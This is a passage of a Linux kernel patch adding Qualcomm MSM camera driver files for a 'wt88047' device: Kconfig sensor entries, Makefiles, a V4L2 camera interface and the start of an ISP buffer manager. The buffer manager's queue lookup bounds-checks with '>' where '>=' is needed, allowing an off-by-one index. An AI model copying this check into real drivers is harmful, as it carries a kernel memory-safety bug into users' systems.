Max fps is 30fps at 3264 * 2448, 60fps at 1632 * 1224 + +config s5k4e1 + bool "Sensor s5k4e1 (BAYER 5MP)" + depends on MSMB_CAMERA + ---help--- + Samsung 5 MP Bayer Sensor. It uses 2 mipi lanes, + supports 720P preview at 30 fps + and QSXGA snapshot at 15 fps. + This sensor driver does not support auto focus. + +config OV12830 + bool "OmniVision OV12830 (BAYER 12MP)" + depends on MSMB_CAMERA + ---help--- + OmniVision 12.8 MP Bayer Sensor with auto focus.uses + 4 mipi lanes, preview config = 2112 * 1500 at 30 fps, + snapshot config = 4224 * 3000 at 15 fps. + 2 lanes max fps is 18, 4 lanes max fps is 24. + +config MSM_V4L2_VIDEO_OVERLAY_DEVICE + tristate "Qualcomm MSM V4l2 video overlay device" + ---help--- + Enables support for the MSM V4L2 video + overlay driver. This allows video rendering + apps to render overlaid video using Video4Linux2 + APIs, by using /dev/videoX device + +config MSMB_JPEG + tristate "Qualcomm MSM Jpeg Encoder Engine support" + depends on MSMB_CAMERA && (ARCH_MSM8974 || ARCH_MSM8226 || ARCH_APQ8084 || ARCH_MSM8916 || ARCH_MSM) + ---help--- + Enable support for Jpeg Encoder/Decoder + Engine for 8974. + This module serves as the common driver + for the JPEG 1.0 encoder and decoder. + +config MSM_GEMINI + tristate "Qualcomm MSM Gemini JPEG engine support" + depends on MSMB_CAMERA && (ARCH_MSM7X30 || ARCH_MSM8X60 || ARCH_MSM8960) + ---help--- + Enables support for the Gemini JPEG encoder engine for 8x60. diff --git a/drivers/media/platform/msm/camera_wt88047_v2/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/Makefile new file mode 100644 index 0000000000000..a7dad0a8129e1 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/Makefile @@ -0,0 +1,18 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor +ccflags-y += -Idrivers/media/platform/msm/camera_v2/codecs +ccflags-y += -Idrivers/media/platform/msm/camera_v2/isps +ccflags-y += -Idrivers/media/platform/msm/camera_v2/pproc +ccflags-y += -Idrivers/media/platform/msm/camera_v2/msm_vb2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/camera +ccflags-y += -Idrivers/media/platform/msm/camera_v2/jpeg_10 + +obj-$(CONFIG_MSMB_CAMERA) += msm.o +obj-$(CONFIG_MSMB_CAMERA) += camera/ +obj-$(CONFIG_MSMB_CAMERA) += msm_vb2/ +obj-$(CONFIG_MSMB_CAMERA) += sensor/ +obj-$(CONFIG_MSMB_CAMERA) += pproc/ +obj-$(CONFIG_MSMB_CAMERA) += isp/ +obj-$(CONFIG_MSMB_CAMERA) += ispif/ +obj-$(CONFIG_MSMB_JPEG) += jpeg_10/ +obj-$(CONFIG_MSMB_CAMERA) += msm_buf_mgr/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile new file mode 100644 index 0000000000000..bd707509d50e0 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile @@ -0,0 +1,3 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/msm_vb2 +obj-$(CONFIG_MSMB_CAMERA) += camera.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c b/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c new file mode 100644 index 0000000000000..02b578ff8184c --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c @@ -0,0 +1,809 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "camera.h" +#include "msm.h" +#include "msm_vb2.h" + +#define fh_to_private(__fh) \ + container_of(__fh, struct camera_v4l2_private, fh) + +struct camera_v4l2_private { + struct v4l2_fh fh; + unsigned int stream_id; + unsigned int is_vb2_valid; /*0 if no vb2 buffers on stream, else 1*/ + struct vb2_queue vb2_q; +}; + +static void camera_pack_event(struct file *filep, int evt_id, + int command, int value, struct v4l2_event *event) +{ + struct msm_v4l2_event_data *event_data = + (struct msm_v4l2_event_data *)&event->u.data[0]; + struct msm_video_device *pvdev = video_drvdata(filep); + struct camera_v4l2_private *sp = fh_to_private(filep->private_data); + + /* always MSM_CAMERA_V4L2_EVENT_TYPE */ + event->type = MSM_CAMERA_V4L2_EVENT_TYPE; + event->id = evt_id; + event_data->command = command; + event_data->session_id = pvdev->vdev->num; + event_data->stream_id = sp->stream_id; + event_data->arg_value = value; +} + +static int camera_check_event_status(struct v4l2_event *event) +{ + struct msm_v4l2_event_data *event_data = + (struct msm_v4l2_event_data *)&event->u.data[0]; + + if (event_data->status > MSM_CAMERA_ERR_EVT_BASE) { + pr_err("%s : event_data status out of bounds\n", + __func__); + pr_err("%s : Line %d event_data->status 0X%x\n", + __func__, __LINE__, event_data->status); + return -EFAULT; + } + + return 0; +} + +static int camera_v4l2_querycap(struct file *filep, void *fh, + struct v4l2_capability *cap) +{ + int rc; + struct v4l2_event event; + + /* can use cap->driver to make differentiation */ + camera_pack_event(filep, MSM_CAMERA_GET_PARM, + MSM_CAMERA_PRIV_QUERY_CAP, -1, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + + return rc; +} + +static int camera_v4l2_s_crop(struct file *filep, void *fh, + const struct v4l2_crop *crop) +{ + int rc = 0; + struct v4l2_event event; + + if (crop->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { + + camera_pack_event(filep, MSM_CAMERA_SET_PARM, + MSM_CAMERA_PRIV_S_CROP, -1, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + } + + return rc; +} + +static int camera_v4l2_g_crop(struct file *filep, void *fh, + struct v4l2_crop *crop) +{ + int rc = 0; + struct v4l2_event event; + + if (crop->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { + camera_pack_event(filep, MSM_CAMERA_GET_PARM, + MSM_CAMERA_PRIV_G_CROP, -1, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + } + + return rc; +} + +static int camera_v4l2_queryctrl(struct file *filep, void *fh, + struct v4l2_queryctrl *ctrl) +{ + int rc = 0; + struct v4l2_event event; + + if (ctrl->type == V4L2_CTRL_TYPE_MENU) { + + camera_pack_event(filep, MSM_CAMERA_GET_PARM, + ctrl->id, -1, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + } + + return rc; +} + +static int camera_v4l2_g_ctrl(struct file *filep, void *fh, + struct v4l2_control *ctrl) +{ + int rc = 0; + struct v4l2_event event; + + if (ctrl->id >= V4L2_CID_PRIVATE_BASE) { + camera_pack_event(filep, MSM_CAMERA_GET_PARM, ctrl->id, -1, + &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + } + + return rc; +} + +static int camera_v4l2_s_ctrl(struct file *filep, void *fh, + struct v4l2_control *ctrl) +{ + int rc = 0; + struct v4l2_event event; + struct msm_v4l2_event_data *event_data; + if (ctrl->id >= V4L2_CID_PRIVATE_BASE) { + camera_pack_event(filep, MSM_CAMERA_SET_PARM, ctrl->id, + ctrl->value, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + event_data = (struct msm_v4l2_event_data *)event.u.data; + ctrl->value = event_data->ret_value; + rc = camera_check_event_status(&event); + } + + return rc; +} + +static int camera_v4l2_reqbufs(struct file *filep, void *fh, + struct v4l2_requestbuffers *req) +{ + int ret; + struct msm_session *session; + struct camera_v4l2_private *sp = fh_to_private(fh); + struct msm_video_device *pvdev = video_drvdata(filep); + unsigned int session_id = pvdev->vdev->num; + session = msm_session_find(session_id); + if (WARN_ON(!session)) + return -EIO; + mutex_lock(&session->lock); + ret = vb2_reqbufs(&sp->vb2_q, req); + mutex_unlock(&session->lock); + return ret; +} + +static int camera_v4l2_querybuf(struct file *filep, void *fh, + struct v4l2_buffer *pb) +{ + return 0; +} + +static int camera_v4l2_qbuf(struct file *filep, void *fh, + struct v4l2_buffer *pb) +{ + int ret; + struct msm_session *session; + struct camera_v4l2_private *sp = fh_to_private(fh); + struct msm_video_device *pvdev = video_drvdata(filep); + unsigned int session_id = pvdev->vdev->num; + session = msm_session_find(session_id); + if (WARN_ON(!session)) + return -EIO; + mutex_lock(&session->lock); + ret = vb2_qbuf(&sp->vb2_q, pb); + mutex_unlock(&session->lock); + return ret; +} + +static int camera_v4l2_dqbuf(struct file *filep, void *fh, + struct v4l2_buffer *pb) +{ + int ret; + struct msm_session *session; + struct camera_v4l2_private *sp = fh_to_private(fh); + struct msm_video_device *pvdev = video_drvdata(filep); + unsigned int session_id = pvdev->vdev->num; + session = msm_session_find(session_id); + if (WARN_ON(!session)) + return -EIO; + mutex_lock(&session->lock); + ret = vb2_dqbuf(&sp->vb2_q, pb, filep->f_flags & O_NONBLOCK); + mutex_unlock(&session->lock); + return ret; +} + +static int camera_v4l2_streamon(struct file *filep, void *fh, + enum v4l2_buf_type buf_type) +{ + struct v4l2_event event; + int rc; + struct camera_v4l2_private *sp = fh_to_private(fh); + + rc = vb2_streamon(&sp->vb2_q, buf_type); + camera_pack_event(filep, MSM_CAMERA_SET_PARM, + MSM_CAMERA_PRIV_STREAM_ON, -1, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + return rc; +} + +static int camera_v4l2_streamoff(struct file *filep, void *fh, + enum v4l2_buf_type buf_type) +{ + struct v4l2_event event; + int rc; + struct camera_v4l2_private *sp = fh_to_private(fh); + + camera_pack_event(filep, MSM_CAMERA_SET_PARM, + MSM_CAMERA_PRIV_STREAM_OFF, -1, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + vb2_streamoff(&sp->vb2_q, buf_type); + return rc; +} + +static int camera_v4l2_g_fmt_vid_cap_mplane(struct file *filep, void *fh, + struct v4l2_format *pfmt) +{ + int rc = -EINVAL; + + if (pfmt->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { + struct v4l2_event event; + + camera_pack_event(filep, MSM_CAMERA_GET_PARM, + MSM_CAMERA_PRIV_G_FMT, -1, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + } + + return rc; +} + +static int camera_v4l2_s_fmt_vid_cap_mplane(struct file *filep, void *fh, + struct v4l2_format *pfmt) +{ + int rc = 0; + int i = 0; + struct v4l2_event event; + struct camera_v4l2_private *sp = fh_to_private(fh); + struct msm_v4l2_format_data *user_fmt; + + if (pfmt->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { + + if (WARN_ON(!sp->vb2_q.drv_priv)) + return -ENOMEM; + + memcpy(sp->vb2_q.drv_priv, pfmt->fmt.raw_data, + sizeof(struct msm_v4l2_format_data)); + user_fmt = (struct msm_v4l2_format_data *)sp->vb2_q.drv_priv; + + pr_debug("%s: num planes :%c\n", __func__, + user_fmt->num_planes); + /*num_planes need to bound checked, otherwise for loop + can execute forever */ + if (WARN_ON(user_fmt->num_planes > VIDEO_MAX_PLANES)) + return -EINVAL; + for (i = 0; i < user_fmt->num_planes; i++) + pr_debug("%s: plane size[%d]\n", __func__, + user_fmt->plane_sizes[i]); + + camera_pack_event(filep, MSM_CAMERA_SET_PARM, + MSM_CAMERA_PRIV_S_FMT, -1, &event); + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + return rc; + + rc = camera_check_event_status(&event); + if (rc < 0) + return rc; + + sp->is_vb2_valid = 1; + } + + return rc; + +} + +static int camera_v4l2_try_fmt_vid_cap_mplane(struct file *filep, void *fh, + struct v4l2_format *pfmt) +{ + return 0; +} + + +static int camera_v4l2_g_parm(struct file *filep, void *fh, + struct v4l2_streamparm *a) +{ + /* TODO */ + return 0; +} + +static int camera_v4l2_s_parm(struct file *filep, void *fh, + struct v4l2_streamparm *parm) +{ + int rc = 0; + struct v4l2_event event; + struct msm_v4l2_event_data *event_data = + (struct msm_v4l2_event_data *)&event.u.data[0]; + struct camera_v4l2_private *sp = fh_to_private(fh); + + camera_pack_event(filep, MSM_CAMERA_SET_PARM, + MSM_CAMERA_PRIV_NEW_STREAM, -1, &event); + + rc = msm_create_stream(event_data->session_id, + event_data->stream_id, &sp->vb2_q); + if (rc < 0) + return rc; + + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) + goto error; + + rc = camera_check_event_status(&event); + if (rc < 0) + goto error; + + /* use stream_id as stream index */ + parm->parm.capture.extendedmode = sp->stream_id; + + return rc; + +error: + msm_delete_stream(event_data->session_id, + event_data->stream_id); + return rc; +} + +static int camera_v4l2_subscribe_event(struct v4l2_fh *fh, + const struct v4l2_event_subscription *sub) +{ + int rc = 0; + struct camera_v4l2_private *sp = fh_to_private(fh); + + rc = v4l2_event_subscribe(&sp->fh, sub, 5, NULL); + + return rc; +} + +static int camera_v4l2_unsubscribe_event(struct v4l2_fh *fh, + const struct v4l2_event_subscription *sub) +{ + int rc = 0; + struct camera_v4l2_private *sp = fh_to_private(fh); + + rc = v4l2_event_unsubscribe(&sp->fh, sub); + + return rc; +} + +static const struct v4l2_ioctl_ops camera_v4l2_ioctl_ops = { + .vidioc_querycap = camera_v4l2_querycap, + .vidioc_s_crop = camera_v4l2_s_crop, + .vidioc_g_crop = camera_v4l2_g_crop, + .vidioc_queryctrl = camera_v4l2_queryctrl, + .vidioc_g_ctrl = camera_v4l2_g_ctrl, + .vidioc_s_ctrl = camera_v4l2_s_ctrl, + .vidioc_reqbufs = camera_v4l2_reqbufs, + .vidioc_querybuf = camera_v4l2_querybuf, + .vidioc_qbuf = camera_v4l2_qbuf, + .vidioc_dqbuf = camera_v4l2_dqbuf, + .vidioc_streamon = camera_v4l2_streamon, + .vidioc_streamoff = camera_v4l2_streamoff, + .vidioc_g_fmt_vid_cap_mplane = camera_v4l2_g_fmt_vid_cap_mplane, + .vidioc_s_fmt_vid_cap_mplane = camera_v4l2_s_fmt_vid_cap_mplane, + .vidioc_try_fmt_vid_cap_mplane = camera_v4l2_try_fmt_vid_cap_mplane, + + /* Stream type-dependent parameter ioctls */ + .vidioc_g_parm = camera_v4l2_g_parm, + .vidioc_s_parm = camera_v4l2_s_parm, + + /* event subscribe/unsubscribe */ + .vidioc_subscribe_event = camera_v4l2_subscribe_event, + .vidioc_unsubscribe_event = camera_v4l2_unsubscribe_event, +}; + +static int camera_v4l2_fh_open(struct file *filep) +{ + struct msm_video_device *pvdev = video_drvdata(filep); + struct camera_v4l2_private *sp; + unsigned int stream_id; + + sp = kzalloc(sizeof(*sp), GFP_KERNEL); + if (!sp) { + pr_err("%s : memory not available\n", __func__); + return -ENOMEM; + } + + filep->private_data = &sp->fh; + + /* stream_id = open id */ + stream_id = atomic_read(&pvdev->opened); + sp->stream_id = find_first_zero_bit( + &stream_id, MSM_CAMERA_STREAM_CNT_BITS); + pr_debug("%s: Found stream_id=%d\n", __func__, sp->stream_id); + + v4l2_fh_init(&sp->fh, pvdev->vdev); + v4l2_fh_add(&sp->fh); + + return 0; +} + +static int camera_v4l2_fh_release(struct file *filep) +{ + struct camera_v4l2_private *sp = fh_to_private(filep->private_data); + + if (sp) { + v4l2_fh_del(&sp->fh); + v4l2_fh_exit(&sp->fh); + } + + kzfree(sp); + return 0; +} + +static int camera_v4l2_vb2_q_init(struct file *filep) +{ + struct camera_v4l2_private *sp = fh_to_private(filep->private_data); + struct vb2_queue *q = &sp->vb2_q; + + memset(q, 0, sizeof(struct vb2_queue)); + + /* free up this buffer when stream is done */ + q->drv_priv = + kzalloc(sizeof(struct msm_v4l2_format_data), GFP_KERNEL); + if (!q->drv_priv) { + pr_err("%s : memory not available\n", __func__); + return -ENOMEM; + } + + q->mem_ops = msm_vb2_get_q_mem_ops(); + q->ops = msm_vb2_get_q_ops(); + + /* default queue type */ + q->type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; + q->io_modes = VB2_USERPTR; + q->io_flags = 0; + q->buf_struct_size = sizeof(struct msm_vb2_buffer); + q->timestamp_type = V4L2_BUF_FLAG_TIMESTAMP_MONOTONIC; + return vb2_queue_init(q); +} + +static void camera_v4l2_vb2_q_release(struct file *filep) +{ + struct camera_v4l2_private *sp = filep->private_data; + + kzfree(sp->vb2_q.drv_priv); + vb2_queue_release(&sp->vb2_q); +} + +static int camera_v4l2_open(struct file *filep) +{ + int rc = 0; + struct v4l2_event event; + struct msm_video_device *pvdev = video_drvdata(filep); + unsigned int opn_idx, idx; + BUG_ON(!pvdev); + + rc = camera_v4l2_fh_open(filep); + if (rc < 0) { + pr_err("%s : camera_v4l2_fh_open failed Line %d rc %d\n", + __func__, __LINE__, rc); + goto fh_open_fail; + } + + opn_idx = atomic_read(&pvdev->opened); + idx = opn_idx; + /* every stream has a vb2 queue */ + rc = camera_v4l2_vb2_q_init(filep); + if (rc < 0) { + pr_err("%s : vb2 queue init fails Line %d rc %d\n", + __func__, __LINE__, rc); + goto vb2_q_fail; + } + + if (!atomic_read(&pvdev->opened)) { + pm_stay_awake(&pvdev->vdev->dev); + + /* Disable power collapse latency */ + msm_pm_qos_update_request(CAMERA_DISABLE_PC_LATENCY); + + /* create a new session when first opened */ + rc = msm_create_session(pvdev->vdev->num, pvdev->vdev); + if (rc < 0) { + pr_err("%s : session creation failed Line %d rc %d\n", + __func__, __LINE__, rc); + goto session_fail; + } + + rc = msm_create_command_ack_q(pvdev->vdev->num, + find_first_zero_bit(&opn_idx, + MSM_CAMERA_STREAM_CNT_BITS)); + if (rc < 0) { + pr_err("%s : creation of command_ack queue failed\n", + __func__); + pr_err("%s : Line %d rc %d\n", __func__, __LINE__, rc); + goto command_ack_q_fail; + } + + camera_pack_event(filep, MSM_CAMERA_NEW_SESSION, 0, -1, &event); + rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + if (rc < 0) { + pr_err("%s : posting of NEW_SESSION event failed\n", + __func__); + pr_err("%s : Line %d rc %d\n", __func__, __LINE__, rc); + goto post_fail; + } + + rc = camera_check_event_status(&event); + if (rc < 0) { + pr_err("%s : checking event status fails Line %d rc %d\n", + __func__, __LINE__, rc); + goto post_fail; + } + /* Enable power collapse latency */ + msm_pm_qos_update_request(CAMERA_ENABLE_PC_LATENCY); + } else { + rc = msm_create_command_ack_q(pvdev->vdev->num, + find_first_zero_bit(&opn_idx, + MSM_CAMERA_STREAM_CNT_BITS)); + if (rc < 0) { + pr_err("%s : creation of command_ack queue failed Line %d rc %d\n", + __func__, __LINE__, rc); + goto session_fail; + } + } + pr_debug("%s: Open stream_id=%d\n", __func__, + find_first_zero_bit(&opn_idx, MSM_CAMERA_STREAM_CNT_BITS)); + idx |= (1 << find_first_zero_bit(&opn_idx, MSM_CAMERA_STREAM_CNT_BITS)); + atomic_cmpxchg(&pvdev->opened, opn_idx, idx); + + return rc; + +post_fail: + msm_delete_command_ack_q(pvdev->vdev->num, 0); +command_ack_q_fail: + msm_destroy_session(pvdev->vdev->num); +session_fail: + pm_relax(&pvdev->vdev->dev); + camera_v4l2_vb2_q_release(filep); +vb2_q_fail: + camera_v4l2_fh_release(filep); +fh_open_fail: + return rc; +} + +static unsigned int camera_v4l2_poll(struct file *filep, + struct poll_table_struct *wait) +{ + int rc = 0; + struct camera_v4l2_private *sp = fh_to_private(filep->private_data); + if (sp->is_vb2_valid == 1) + rc = vb2_poll(&sp->vb2_q, filep, wait); + + poll_wait(filep, &sp->fh.wait, wait); + if (v4l2_event_pending(&sp->fh)) + rc |= POLLPRI; + + return rc; +} + +static int camera_v4l2_close(struct file *filep) +{ + int rc = 0; + struct v4l2_event event; + struct msm_video_device *pvdev = video_drvdata(filep); + struct camera_v4l2_private *sp = fh_to_private(filep->private_data); + unsigned int opn_idx, mask; + BUG_ON(!pvdev); + + opn_idx = atomic_read(&pvdev->opened); + pr_debug("%s: close stream_id=%d\n", __func__, sp->stream_id); + mask = (1 << sp->stream_id); + opn_idx &= ~mask; + atomic_set(&pvdev->opened, opn_idx); + + if (atomic_read(&pvdev->opened) == 0) { + + camera_pack_event(filep, MSM_CAMERA_SET_PARM, + MSM_CAMERA_PRIV_DEL_STREAM, -1, &event); + + /* Donot wait, imaging server may have crashed */ + msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + + camera_pack_event(filep, MSM_CAMERA_DEL_SESSION, 0, -1, &event); + + /* Donot wait, imaging server may have crashed */ + msm_post_event(&event, -1); + msm_delete_command_ack_q(pvdev->vdev->num, 0); + + /* This should take care of both normal close + * and application crashes */ + msm_destroy_session(pvdev->vdev->num); + + pm_relax(&pvdev->vdev->dev); + } else { + camera_pack_event(filep, MSM_CAMERA_SET_PARM, + MSM_CAMERA_PRIV_DEL_STREAM, -1, &event); + + /* Donot wait, imaging server may have crashed */ + msm_post_event(&event, MSM_POST_EVT_TIMEOUT); + msm_delete_command_ack_q(pvdev->vdev->num, + sp->stream_id); + + msm_delete_stream(pvdev->vdev->num, sp->stream_id); + } + + camera_v4l2_vb2_q_release(filep); + camera_v4l2_fh_release(filep); + + return rc; +} + +#ifdef CONFIG_COMPAT +long camera_v4l2_compat_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + return -ENOIOCTLCMD; +} +#endif +static struct v4l2_file_operations camera_v4l2_fops = { + .owner = THIS_MODULE, + .open = camera_v4l2_open, + .poll = camera_v4l2_poll, + .release = camera_v4l2_close, + .ioctl = video_ioctl2, +#ifdef CONFIG_COMPAT + .compat_ioctl32 = camera_v4l2_compat_ioctl, +#endif +}; + +int camera_init_v4l2(struct device *dev, unsigned int *session) +{ + struct msm_video_device *pvdev; + struct v4l2_device *v4l2_dev; + int rc = 0; + + pvdev = kzalloc(sizeof(struct msm_video_device), + GFP_KERNEL); + if (WARN_ON(!pvdev)) { + rc = -ENOMEM; + goto init_end; + } + + pvdev->vdev = video_device_alloc(); + if (WARN_ON(!pvdev->vdev)) { + rc = -ENOMEM; + goto video_fail; + } + + v4l2_dev = kzalloc(sizeof(struct v4l2_device), GFP_KERNEL); + if (WARN_ON(!v4l2_dev)) { + rc = -ENOMEM; + goto v4l2_fail; + } + +#if defined(CONFIG_MEDIA_CONTROLLER) + v4l2_dev->mdev = kzalloc(sizeof(struct media_device), + GFP_KERNEL); + if (!v4l2_dev->mdev) { + rc = -ENOMEM; + goto mdev_fail; + } + strlcpy(v4l2_dev->mdev->model, MSM_CAMERA_NAME, + sizeof(v4l2_dev->mdev->model)); + + v4l2_dev->mdev->dev = dev; + + rc = media_device_register(v4l2_dev->mdev); + if (WARN_ON(rc < 0)) + goto media_fail; + + rc = media_entity_init(&pvdev->vdev->entity, 0, NULL, 0); + if (WARN_ON(rc < 0)) + goto entity_fail; + pvdev->vdev->entity.type = MEDIA_ENT_T_DEVNODE_V4L; + pvdev->vdev->entity.group_id = QCAMERA_VNODE_GROUP_ID; +#endif + + v4l2_dev->notify = NULL; + pvdev->vdev->v4l2_dev = v4l2_dev; + + rc = v4l2_device_register(dev, pvdev->vdev->v4l2_dev); + if (WARN_ON(rc < 0)) + goto register_fail; + + strlcpy(pvdev->vdev->name, "msm-sensor", sizeof(pvdev->vdev->name)); + pvdev->vdev->release = video_device_release; + pvdev->vdev->fops = &camera_v4l2_fops; + pvdev->vdev->ioctl_ops = &camera_v4l2_ioctl_ops; + pvdev->vdev->minor = -1; + pvdev->vdev->vfl_type = VFL_TYPE_GRABBER; + rc = video_register_device(pvdev->vdev, + VFL_TYPE_GRABBER, -1); + if (WARN_ON(rc < 0)) + goto video_register_fail; +#if defined(CONFIG_MEDIA_CONTROLLER) + /* FIXME: How to get rid of this messy? */ + pvdev->vdev->entity.name = video_device_node_name(pvdev->vdev); +#endif + + *session = pvdev->vdev->num; + atomic_set(&pvdev->opened, 0); + video_set_drvdata(pvdev->vdev, pvdev); + device_init_wakeup(&pvdev->vdev->dev, 1); + goto init_end; + +video_register_fail: + v4l2_device_unregister(pvdev->vdev->v4l2_dev); +register_fail: +#if defined(CONFIG_MEDIA_CONTROLLER) + media_entity_cleanup(&pvdev->vdev->entity); +entity_fail: + media_device_unregister(v4l2_dev->mdev); +media_fail: + kzfree(v4l2_dev->mdev); +mdev_fail: +#endif + kzfree(v4l2_dev); +v4l2_fail: + video_device_release(pvdev->vdev); +video_fail: + kzfree(pvdev); +init_end: + return rc; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.h b/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.h new file mode 100644 index 0000000000000..ac860a4f87d6a --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.h @@ -0,0 +1,23 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef _CAMERA_H +#define _CAMERA_H + +enum stream_state { + START_STREAM = 0, + STOP_STREAM, +}; + +int camera_init_v4l2(struct device *dev, unsigned int *session); + +#endif /*_CAMERA_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile new file mode 100644 index 0000000000000..ace2a53cb046b --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile @@ -0,0 +1,4 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +obj-$(CONFIG_MSMB_CAMERA) += msm_isp.o msm_buf_mgr.o msm_isp_util.o msm_isp_axi_util.o msm_isp_stats_util.o +obj-$(CONFIG_MSMB_CAMERA) += msm_isp44.o msm_isp40.o msm_isp32.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c new file mode 100644 index 0000000000000..bd7a5c9f88322 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c @@ -0,0 +1,962 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include +#include +#include +#include +#include +#include + +#include + +#include "msm.h" +#include "msm_buf_mgr.h" + +/*#define CONFIG_MSM_ISP_DBG*/ +#undef CDBG +#ifdef CONFIG_MSM_ISP_DBG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +static struct msm_isp_bufq *msm_isp_get_bufq( + struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle) +{ + struct msm_isp_bufq *bufq = NULL; + uint32_t bufq_index = bufq_handle & 0xFF; + if (bufq_index > buf_mgr->num_buf_q) + return bufq; + + bufq = &buf_mgr->bufq[bufq_index]; + if (bufq->bufq_handle == bufq_handle) + return bufq; + + return NULL; +} + +static struct msm_isp_buffer *msm_isp_get_buf_ptr( + struct msm_isp_buf_mgr *buf_mgr, + uint32_t bufq_handle, uint32_t buf_index) +{ + struct msm_isp_bufq *bufq = NULL; + struct msm_isp_buffer *buf_info = NULL; + + bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); + if (!bufq) { + pr_err("%s: Invalid bufq\n", __func__); + return buf_info; + } + + if (bufq->num_bufs <= buf_index) { + pr_err("%s: Invalid buf index\n", __func__); + return buf_info; + } + buf_info = &bufq->bufs[buf_index]; + return buf_info; +} + +static uint32_t msm_isp_get_buf_handle( + struct msm_isp_buf_mgr *buf_mgr, + uint32_t session_id, uint32_t stream_id) +{ + int i; + if ((buf_mgr->buf_handle_cnt << 8) == 0) + buf_mgr->buf_handle_cnt++; + + for (i = 0; i < buf_mgr->num_buf_q; i++) { + if (buf_mgr->bufq[i].session_id == session_id && + buf_mgr->bufq[i].stream_id == stream_id) + return 0; + } + + for (i = 0; i < buf_mgr->num_buf_q; i++) { + if (buf_mgr->bufq[i].bufq_handle == 0) { + memset(&buf_mgr->bufq[i], + 0, sizeof(struct msm_isp_bufq)); + buf_mgr->bufq[i].bufq_handle = + (++buf_mgr->buf_handle_cnt) << 8 | i; + return buf_mgr->bufq[i].bufq_handle; + } + } + return 0; +} + +static int msm_isp_free_buf_handle(struct msm_isp_buf_mgr 